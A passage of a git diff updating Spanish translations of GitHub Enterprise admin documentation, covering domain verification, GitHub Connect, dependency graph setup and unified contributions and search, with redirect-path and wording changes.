+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md
@@ -2,7 +2,7 @@
 title: Site admin dashboard
 intro: '{% data reusables.enterprise_site_admin_settings.about-the-site-admin-dashboard %}'
 redirect_from:
-  - /enterprise/admin/articles/site-admin-dashboard/
+  - /enterprise/admin/articles/site-admin-dashboard
   - /enterprise/admin/installation/site-admin-dashboard
   - /enterprise/admin/configuration/site-admin-dashboard
   - /admin/configuration/site-admin-dashboard
@@ -56,8 +56,8 @@ If you need to get information on the users, organizations, and repositories in
 Specifically, you can download CSV reports that list
 
 - all users
-- all users who have been active within the last month
-- all users who have been inactive for one month or more
+- all active users
+- all [dormant users](/admin/user-management/managing-dormant-users)
 - all users who have been suspended
 - all organizations
 - all repositories
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md
index b417e5899b..48c3ecde19 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md
@@ -2,8 +2,8 @@
 title: Errores de solución de problemas de SSL
 intro: 'Si te encuentras con problemas de SSL en tu aparato, puedes tomar medidas para resolverlos.'
 redirect_from:
-  - /enterprise/admin/articles/troubleshooting-ssl-errors/
-  - /enterprise/admin/categories/dns-ssl-and-subdomain-configuration/
+  - /enterprise/admin/articles/troubleshooting-ssl-errors
+  - /enterprise/admin/categories/dns-ssl-and-subdomain-configuration
   - /enterprise/admin/installation/troubleshooting-ssl-errors
   - /enterprise/admin/configuration/troubleshooting-ssl-errors
   - /admin/configuration/troubleshooting-ssl-errors
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md
index e67d0f08e8..1e229a5c48 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: Verifying or approving a domain for your enterprise
-shortTitle: Verify or approve a domain
-intro: 'You can verify your ownership of domains with {% data variables.product.company_short %} to confirm the identity of organizations owned by your enterprise account. You can also approve domains where organization members can receive email notifications.'
+title: Verificar o aprobar un dominio para tu empresa
+shortTitle: Verificar o aprobar un dominio
+intro: 'Puedes verificar tu propiedad de dominios con {% data variables.product.company_short %} para confirmar la identidad de las organizaciones que pertenecen a tu cuenta empresarial. Tambien puedes aprobar los dominios en donde los miembros de la organización pueden recibir notificaciones por correo electrónico.'
 product: '{% data reusables.gated-features.verify-and-approve-domain %}'
 versions:
   ghec: '*'
@@ -24,37 +24,37 @@ redirect_from:
   - /admin/policies/verifying-or-approving-a-domain-for-your-enterprise
 ---
 
-## About verification of domains
+## Acerca de la verificación de dominios
 
-You can confirm that the websites and email addresses listed on the profiles of any organization owned by your enterprise account are controlled by your enterprise by verifying the domains. Verified domains for an enterprise account apply to every organization owned by the enterprise account.
+Puedes confirmar que tu empresa controle los sitios web y direcciones de correo electrónico que se listan en los perfiles de cualquier organización que le pertenezca a tu cuenta empresarial si verificas los dominios. Los dominios verificados para una cuenta empresarial aplican a cada organización que pertenezca a la cuenta empresarial.
 
-After you verify ownership of your enterprise account's domains, a "Verified" badge will display on the profile of each organization that has the domain listed on its profile. {% data reusables.organizations.verified-domains-details %}
+Después de que verificas la propiedad de los dominios de tus cuentas empresariales, se mostrará una insignia de "Verificado" en el perfil de cada organización que liste el dominio en su perfil. {% data reusables.organizations.verified-domains-details %}
 
-Organization owners will be able to verify the identity of organization members by viewing each member's email address within the verified domain.
+Los propietarios de las organizaciones podrán verificar la identidad de los miembros de éstas si visualizan la dirección de correo electrónico de cada miembro dentro del dominio verificado.
 
-After you verify domains for your enterprise account, you can restrict email notifications to verified domains for all the organizations owned by your enterprise account. For more information, see "[Restricting email notifications for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)."
+Después de que verificas los dominios para tu cuenta empresarial, puedes restringir las notificaciones de correo electrónico a los dominios verificados para todas las organizaciones que le pertenezcan a tu cuenta empresarial. Para obtener más información, consulta la sección "[Restringir las notificaciones por correo electrónico para tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)".
 
-Even if you don't restrict email notifications for the enterprise account, if an organization owner has restricted email notifications for the organization, organization members will be able to receive notifications at any domains verified or approved for the enterprise account, in addition to any domains verified or approved for the organization. For more information about restricting notifications for an organization, see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)."
+Incluso si no restringieras las notificaciones por correo electrónico para la cuenta empresarial, en caso de que un propietario de organización lo haya hecho, los miembros de dicha organización podrán recibir notificaciones en cualquier dominio que la empresa haya verificado o aprobado para la cuenta empresarial adicionalmente a cualquier dominio que se haya verificado o aprobado previamente para la organización. Para obtener más información sobre cómo restringir las notificaciones de una organización, consulta la sección "[Restringir las notificaciones por correo electrónico para tu organización](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)".
 
-Organization owners can also verify additional domains for their organizations. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+Los propietarios de organización también pueden verificar dominios adicionales para sus organizaciones. Para obtener más información, consulta la sección "[Verificar o aprobar un dominio para tu organización](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
 
-## About approval of domains
+## Acerca de la aprobación de dominios
 
 {% data reusables.enterprise-accounts.approved-domains-beta-note %}
 
 {% data reusables.enterprise-accounts.approved-domains-about %}
 
-After you approve domains for your enterprise account, you can restrict email notifications for activity within your enterprise account to users with verified email addresses within verified or approved domains. For more information, see "[Restricting email notifications for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)."
+Después de que apruebas los dominios en tu cuenta empresarial, puedes restringir las notificaciones por correo electrónico para la actividad dentro de esta a los usuarios con direcciones de correo electrónico verificadas dentro de los dominios aprobados o verificados. Para obtener más información, consulta la sección "[Restringir las notificaciones por correo electrónico para tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)".
 
-{% ifversion ghec %}To receive email notifications, the owner of the user account must verify the email address on {% data variables.product.product_name %}. For more information, see "[Verifying your email address](/github/getting-started-with-github/verifying-your-email-address)."{% endif %}
+{% ifversion ghec %}Para recibir notificaciones por correo electrónico, el propietario de la cuenta de usuario debe verificar la dirección de correo electrónico en {% data variables.product.product_name %}. Para obtener más información, consulta "[Verificar tu dirección de correo electrónico](/github/getting-started-with-github/verifying-your-email-address)".{% endif %}
 
-Organization owners cannot see the email address or which user account is associated with an email address from an approved domain.
+Los propietarios de la organización no pueden ver la dirección de correo electrónico ni qué cuenta de usuario está asociada con alguna de ellas desde un dominio aprobado.
 
-Organization owners can also approve additional domains for their organizations. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+Los propietarios de organización también pueden aprobar dominios adicionales para sus organizaciones. Para obtener más información, consulta la sección "[Verificar o aprobar un dominio para tu organización](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
 
-## Verifying a domain for your enterprise account
+## Verificar un dominio para tu cuenta empresarial
 
-To verify your enterprise account's domain, you must have access to modify domain records with your domain hosting service.
+Para verificar el dominio de tu cuenta empresarial, debes tener acceso para modificar los registros del dominio con tu servicio de hospedaje de dominios.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -62,16 +62,15 @@ To verify your enterprise account's domain, you must have access to modify domai
 {% data reusables.enterprise-accounts.add-a-domain %}
 {% data reusables.organizations.add-domain %}
 {% data reusables.organizations.add-dns-txt-record %}
-1. Wait for your DNS configuration to change, which may take up to 72 hours. You can confirm your DNS configuration has changed by running the `dig` command on the command line, replacing `ENTERPRISE-ACCOUNT` with the name of your enterprise account, and `example.com` with the domain you'd like to verify. You should see your new TXT record listed in the command output.
+1. Espera a que cambie la configuración de tu DNS, lo cual puede llevar hasta 72 horas. Puedes confirmar que tu configuración de DNS cambió si ejecutas el comando `dig` en la línea de comandos, reemplazando `ENTERPRISE-ACCOUNT` con el nombre de tu cuenta empresarial, y `example.com` con el dominio que te gustaría verificar. Deberías ver tu nuevo registro TXT enumerado en el resultado del comando.
    ```shell
    dig _github-challenge-<em>ENTERPRISE-ACCOUNT</em>.<em>example.com</em> +nostats +nocomments +nocmd TXT
    ```
-1. After confirming your TXT record is added to your DNS, follow steps one through four above to navigate to your enterprise account's approved and verified domains.
+1. Después de confirmar, tu registro de TXT se agrega a tu DNS, sigue los pasos uno a cuatro, los cuales se explican anteriormente, para navegar a los dominios aprobados y verificados de tu cuenta empresarial.
 {% data reusables.enterprise-accounts.continue-verifying-domain %}
-1. Optionally, after the "Verified" badge is visible on your organizations' profiles, delete the TXT entry from the DNS record at your domain hosting service.
-![Verified badge](/assets/images/help/organizations/verified-badge.png)
+1. Opcionalmente, después de que la insignia de "Verificado" se pueda ver en el perfil de tus organizaciones, borra la entrada de TxT del registro de DNS en tu servicio de hospedaje de dominio. ![Insignia Verificado](/assets/images/help/organizations/verified-badge.png)
 
-## Approving a domain for your enterprise account
+## Aprobar un dominio para tu cuenta empresarial
 
 {% data reusables.enterprise-accounts.approved-domains-beta-note %}
 
@@ -83,10 +82,9 @@ To verify your enterprise account's domain, you must have access to modify domai
 {% data reusables.organizations.domains-approve-it-instead %}
 {% data reusables.organizations.domains-approve-domain %}
 
-## Removing an approved or verified domain
+## Eliminar un dominio verificado o aprobado
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.verified-domains-tab %}
-1. To the right of the domain to remove, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**.
-    !["Delete" for a domain](/assets/images/help/organizations/domains-delete.png)
+1. A la derecha del dominio a eliminar, haz clic en {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} y luego en **Borrar**. !["Borrar" para un dominio](/assets/images/help/organizations/domains-delete.png)
diff --git a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md
index 5a1202b892..19a5c2f5bb 100644
--- a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md
+++ b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md
@@ -3,14 +3,13 @@ title: Connecting your enterprise account to GitHub Enterprise Cloud
 shortTitle: Connect enterprise accounts
 intro: 'After you enable {% data variables.product.prodname_github_connect %}, you can share specific features and workflows between {% data variables.product.product_location %} and {% data variables.product.prodname_ghe_cloud %}.'
 redirect_from:
-  - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-to-github-com/
+  - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-to-github-com
   - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-server-to-github-com
-  - /enterprise/admin/developer-workflow/connecting-github-enterprise-server-to-githubcom/
+  - /enterprise/admin/developer-workflow/connecting-github-enterprise-server-to-githubcom
   - /enterprise/admin/installation/connecting-github-enterprise-server-to-github-enterprise-cloud
   - /enterprise/admin/configuration/connecting-github-enterprise-server-to-github-enterprise-cloud
   - /admin/configuration/connecting-github-enterprise-server-to-github-enterprise-cloud
   - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud
-permissions: 'Enterprise owners who are also owners of a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable {% data variables.product.prodname_github_connect %}.'
 versions:
   ghes: '*'
   ghae: '*'
@@ -34,15 +33,19 @@ To configure a connection, your proxy configuration must allow connectivity to `
 
 After enabling {% data variables.product.prodname_github_connect %}, you will be able to enable features such as unified search and unified contributions. For more information about all of the features available, see "[Managing connections between your enterprise accounts](/admin/configuration/managing-connections-between-your-enterprise-accounts)."
 
-When you connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %}, a record on {% data variables.product.prodname_dotcom_the_website %} stores information about the connection:
+When you connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %}, or enable {% data variables.product.prodname_github_connect %} features, a record on {% data variables.product.prodname_dotcom_the_website %} stores information about the connection:
 {% ifversion ghes %}
 - The public key portion of your {% data variables.product.prodname_ghe_server %} license
 - A hash of your {% data variables.product.prodname_ghe_server %} license
 - The customer name on your {% data variables.product.prodname_ghe_server %} license
 - The version of {% data variables.product.product_location_enterprise %}{% endif %}
-- The hostname of your {% data variables.product.product_name %} instance
+- The hostname of {% data variables.product.product_location %}
 - The organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %} that's connected to {% data variables.product.product_location %}
 - The authentication token that's used by {% data variables.product.product_location %} to make requests to {% data variables.product.prodname_dotcom_the_website %}
+- If Transport Layer Security (TLS) is enabled and configured on {% data variables.product.product_location %}{% ifversion ghes %}
+- The {% data variables.product.prodname_github_connect %} features that are enabled on {% data variables.product.product_location %}, and the date and time of enablement{% endif %}
+
+{% data variables.product.prodname_github_connect %} syncs the above connection data between {% data variables.product.product_location %} and {% data variables.product.prodname_ghe_cloud %} weekly, from the day and approximate time that {% data variables.product.prodname_github_connect %} was enabled.
 
 Enabling {% data variables.product.prodname_github_connect %} also creates a {% data variables.product.prodname_github_app %} owned by your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account. {% data variables.product.product_name %} uses the {% data variables.product.prodname_github_app %}'s credentials to make requests to {% data variables.product.prodname_dotcom_the_website %}.
 {% ifversion ghes %}
@@ -56,6 +59,12 @@ Enabling {% data variables.product.prodname_github_connect %} will not allow {%
 For more information about managing enterprise accounts using the GraphQL API, see "[Enterprise accounts](/graphql/guides/managing-enterprise-accounts)."
 ## Enabling {% data variables.product.prodname_github_connect %}
 
+Enterprise owners who are also owners of an organization or enterprise account that uses {% data variables.product.prodname_ghe_cloud %} can enable {% data variables.product.prodname_github_connect %}.
+
+If you're connecting {% data variables.product.product_location %} to an organization on {% data variables.product.prodname_dotcom_the_website %} that is not owned by an enterprise account, you must enable {% data variables.product.prodname_github_connect %} with a personal account on {% data variables.product.prodname_dotcom_the_website %} that is an owner of the organization.
+
+If you're connecting {% data variables.product.product_location %} to an organization on {% data variables.product.prodname_dotcom_the_website %} that is owned by an enterprise account or to an enterprise account itself, you must enable {% data variables.product.prodname_github_connect %} with a personal account on {% data variables.product.prodname_dotcom_the_website %} that is an owner of the enterprise account.
+
 {% ifversion ghes %}
 1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}.
 {% data reusables.enterprise-accounts.access-enterprise %}{% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %}
@@ -69,7 +78,9 @@ For more information about managing enterprise accounts using the GraphQL API, s
 1. Next to the enterprise account or organization you'd like to connect, click **Connect**.
   ![Connect button next to an enterprise account or business](/assets/images/enterprise/business-accounts/choose-enterprise-or-org-connect.png)
 
-## Disconnecting a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account from your enterprise account
+## Disabling {% data variables.product.prodname_github_connect %}
+
+Enterprise owners can disable {% data variables.product.prodname_github_connect %}.
 
 When you disconnect from {% data variables.product.prodname_ghe_cloud %}, the {% data variables.product.prodname_github_connect %} {% data variables.product.prodname_github_app %} is deleted from your enterprise account or organization and credentials stored on {% data variables.product.product_location %} are deleted.
 
diff --git a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
index 2691561e8b..64899b57c1 100644
--- a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
+++ b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
@@ -1,6 +1,7 @@
 ---
 title: Enabling the dependency graph and Dependabot alerts on your enterprise account
 intro: 'You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %} and enable the dependency graph and  {% data variables.product.prodname_dependabot_alerts %} in repositories in your instance.'
+miniTocMaxHeadingLevel: 3
 shortTitle: Enable dependency analysis
 redirect_from:
   - /enterprise/admin/installation/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server
@@ -33,10 +34,17 @@ For more information about these features, see "[About the dependency graph](/gi
 
 ### About synchronization of data from the {% data variables.product.prodname_advisory_database %}
 
-{% data reusables.repositories.tracks-vulnerabilities %} 
+{% data reusables.repositories.tracks-vulnerabilities %}
 
 You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_github_connect %}. Once connected, vulnerability data is synced from the {% data variables.product.prodname_advisory_database %} to your instance once every hour. You can also choose to manually sync vulnerability data at any time. No code or information about code from {% data variables.product.product_location %} is uploaded to {% data variables.product.prodname_dotcom_the_website %}.
 
+Only {% data variables.product.company_short %}-reviewed advisories are synchronized. {% data reusables.security-advisory.link-browsing-advisory-db %}
+
+### About scanning of repositories with synchronized data from the {% data variables.product.prodname_advisory_database %}
+
+For repositories with {% data variables.product.prodname_dependabot_alerts %} enabled, scanning is triggered on any push to the default branch that contains a manifest file or lock file. Additionally, when a new vulnerability record is added to the instance, {% data variables.product.prodname_ghe_server %} scans all existing repositories in that instance and generates alerts for any repository that is vulnerable. For more information, see "[Detection of vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#detection-of-vulnerable-dependencies)."
+
+
 ### About generation of {% data variables.product.prodname_dependabot_alerts %}
 
 If you enable vulnerability detection, when {% data variables.product.product_location %} receives information about a vulnerability, it identifies repositories in your instance that use the affected version of the dependency and generates {% data variables.product.prodname_dependabot_alerts %}. You can choose whether or not to notify users automatically about new {% data variables.product.prodname_dependabot_alerts %}.
@@ -52,7 +60,7 @@ For {% data variables.product.product_location %} to detect vulnerable dependenc
 
 {% ifversion ghes %}
 {% ifversion ghes > 3.1 %}
-You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend you follow the {% data variables.enterprise.management_console %} route unless {% data variables.product.product_location %} uses clustering. 
+You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend you follow the {% data variables.enterprise.management_console %} route unless {% data variables.product.product_location %} uses clustering.
 
 ### Enabling the dependency graph via the {% data variables.enterprise.management_console %}
 {% data reusables.enterprise_site_admin_settings.sign-in %}
@@ -70,19 +78,23 @@ You can enable the dependency graph via the {% data variables.enterprise.managem
 {% endif %}
 {% data reusables.enterprise_site_admin_settings.sign-in %}
 1. In the administrative shell, enable the dependency graph on {% data variables.product.product_location %}:
-    ``` shell
-    $ {% ifversion ghes > 3.1 %}ghe-config app.dependency-graph.enabled true{% else %}ghe-config app.github.dependency-graph-enabled true{% endif %}
+    {% ifversion ghes > 3.1 %}```shell
+    ghe-config app.dependency-graph.enabled true
     ```
+    {% else %}```shell
+    ghe-config app.github.dependency-graph-enabled true
+  ghe-config app.github.vulnerability-alerting-and-settings-enabled true
+    ```{% endif %}
    {% note %}
 
    **Note**: For more information about enabling access to the administrative shell via SSH, see "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/configuration/accessing-the-administrative-shell-ssh)."
 
    {% endnote %}
-1. Apply the configuration.
+2. Apply the configuration.
     ```shell
     $ ghe-config-apply
     ```
-1. Return to {% data variables.product.prodname_ghe_server %}.
+3. Return to {% data variables.product.prodname_ghe_server %}.
 {% endif %}
 
 ### Enabling {% data variables.product.prodname_dependabot_alerts %}
@@ -98,7 +110,7 @@ Before enabling {% data variables.product.prodname_dependabot_alerts %} for your
    ![Drop-down menu to enable scanning repositories for vulnerabilities](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png)
 
    {% tip %}
-   
+
    **Tip**: We recommend configuring {% data variables.product.prodname_dependabot_alerts %} without notifications for the first few days to avoid an overload of emails. After a few days, you can enable notifications to receive {% data variables.product.prodname_dependabot_alerts %} as usual.
 
    {% endtip %}
diff --git a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md
index 22ccd67d2e..50974a374f 100644
--- a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md
+++ b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md
@@ -1,11 +1,11 @@
 ---
-title: Enabling unified contributions between your enterprise account and GitHub.com
-shortTitle: Enable unified contributions
-intro: 'After enabling {% data variables.product.prodname_github_connect %}, you can allow {% data variables.product.prodname_ghe_cloud %} members to highlight their work on {% data variables.product.product_name %} by sending the contribution counts to their {% data variables.product.prodname_dotcom_the_website %} profiles.'
+title: Habilitar las contribuciones unificadas entre tu cuenta empresarial y GitHub.com
+shortTitle: Habilitar las contribuciones unificadas
+intro: 'Después de habilitar {% data variables.product.prodname_github_connect %}, puedes permitir {% data variables.product.prodname_ghe_cloud %} que los miembros destaquen su trabajo en {% data variables.product.product_name %} al enviar los recuentos de contribuciones a sus {% data variables.product.prodname_dotcom_the_website %} perfiles.'
 redirect_from:
-  - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-and-github-com/
-  - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-github-com/
-  - /enterprise/admin/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-githubcom/
+  - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-and-github-com
+  - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-github-com
+  - /enterprise/admin/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-githubcom
   - /enterprise/admin/installation/enabling-unified-contributions-between-github-enterprise-server-and-githubcom
   - /enterprise/admin/configuration/enabling-unified-contributions-between-github-enterprise-server-and-githubcom
   - /admin/configuration/enabling-unified-contributions-between-github-enterprise-server-and-githubcom
@@ -22,26 +22,25 @@ topics:
 
 {% data reusables.github-connect.beta %}
 
-As an enterprise owner, you can allow end users to send anonymized contribution counts for their work from {% data variables.product.product_location %} to their {% data variables.product.prodname_dotcom_the_website %} contribution graph.
+Como propietario de empresa, puedes permitir que los usuarios finales envíen cuentas de contribuciones anonimizadas para su trabajo desde {% data variables.product.product_location %} hacia su gráfica de contribuciones de {% data variables.product.prodname_dotcom_the_website %}.
 
-After you enable {% data variables.product.prodname_github_connect %} and enable {% data variables.product.prodname_unified_contributions %} in both environments, end users on your enterprise account can connect to their {% data variables.product.prodname_dotcom_the_website %} accounts and send contribution counts from {% data variables.product.product_name %} to {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.github-connect.sync-frequency %} For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)."
+Después de habilitar {% data variables.product.prodname_github_connect %} y de habilitar {% data variables.product.prodname_unified_contributions %} en ambos entornos, los usuarios finales en tu cuenta empresarial pueden conectarse con sus cuentas de {% data variables.product.prodname_dotcom_the_website %} y enviar los recuentos de contribución de {% data variables.product.product_name %} a {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.github-connect.sync-frequency %} Para obtener más información, consulta la sección "[Enviar contribuciones empresariales a tu perfil de {% data variables.product.prodname_dotcom_the_website %}](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)".
 
-If the enterprise owner disables the functionality or developers opt out of the connection, the {% data variables.product.product_name %} contribution counts will be deleted on {% data variables.product.prodname_dotcom_the_website %}. If the developer reconnects their profiles after disabling them, the contribution counts for the past 90 days are restored.
+Si el propietario de la empresa inhabilita la funcionalidad o los programadores salen de la conexión, los recuentos de contribución de {% data variables.product.product_name %} se eliminarán en {% data variables.product.prodname_dotcom_the_website %}. Si el programador vuelve a conectar sus perfiles luego de inhabilitarlos, se restablecerán los recuentos de contribución para los últimos 90 días.
 
-{% data variables.product.product_name %} **only** sends the contribution count and source ({% data variables.product.product_name %}) for connected users. It does not send any information about the contribution or how it was made.
+{% data variables.product.product_name %} **solo** envía el recuento de contribución y la fuente de ({% data variables.product.product_name %}) para los usuarios conectados. No envía ningún tipo de información sobre la contribución o cómo se realizó.
 
-Before enabling {% data variables.product.prodname_unified_contributions %} on {% data variables.product.product_location %}, you must connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
+Antes de habilitar {% data variables.product.prodname_unified_contributions %} en {% data variables.product.product_location %}, debes conectar {% data variables.product.product_location %} a {% data variables.product.prodname_dotcom_the_website %}. Para obtener más información, consulta la sección "[Conectar tu cuenta empresarial a {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)".
 
 {% ifversion ghes %}
 {% data reusables.github-connect.access-dotcom-and-enterprise %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.business %}
 {% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %}
-1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}.
+1. Iniciar sesión en {% data variables.product.product_location %} y {% data variables.product.prodname_dotcom_the_website %}.
 {% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %}
-1. Under "Users can share contribution counts to {% data variables.product.prodname_dotcom_the_website %}", click **Request access**.
-  ![Request access to unified contributions option](/assets/images/enterprise/site-admin-settings/dotcom-ghe-connection-request-access.png){% ifversion ghes %}
-2. [Sign in](https://enterprise.github.com/login) to the {% data variables.product.prodname_ghe_server %} site to receive further instructions.
+1. En "Los usuarios pueden compartir recuentos de contribuciones en {% data variables.product.prodname_dotcom_the_website %}", haz clic en **Request access (Solicita acceso)**. ![Request access to unified contributions option](/assets/images/enterprise/site-admin-settings/dotcom-ghe-connection-request-access.png){% ifversion ghes %}
+2. [Inicia sesión](https://enterprise.github.com/login) en el sitio {% data variables.product.prodname_ghe_server %} para recibir más instrucciones.
 
 When you request access, we may redirect you to the {% data variables.product.prodname_ghe_server %} site to check your current terms of service.
 {% endif %}
diff --git a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md
index e857470482..2f97c7cc63 100644
--- a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md
+++ b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md
@@ -1,11 +1,11 @@
 ---
 title: Enabling unified search between your enterprise account and GitHub.com
-shortTitle: Enable unified search
+shortTitle: Habilitar la búsqueda unificada
 intro: 'After enabling {% data variables.product.prodname_github_connect %}, you can allow search of {% data variables.product.prodname_dotcom_the_website %} for members of your enterprise on {% data variables.product.product_name %}.'
 redirect_from:
-  - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-and-github-com/
-  - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-server-and-github-com/
-  - /enterprise/admin/developer-workflow/enabling-unified-search-between-github-enterprise-server-and-githubcom/
+  - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-and-github-com
+  - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-server-and-github-com
+  - /enterprise/admin/developer-workflow/enabling-unified-search-between-github-enterprise-server-and-githubcom
   - /enterprise/admin/installation/enabling-unified-search-between-github-enterprise-server-and-githubcom
   - /enterprise/admin/configuration/enabling-unified-search-between-github-enterprise-server-and-githubcom
   - /admin/configuration/enabling-unified-search-between-github-enterprise-server-and-githubcom
@@ -23,27 +23,25 @@ topics:
 
 {% data reusables.github-connect.beta %}
 
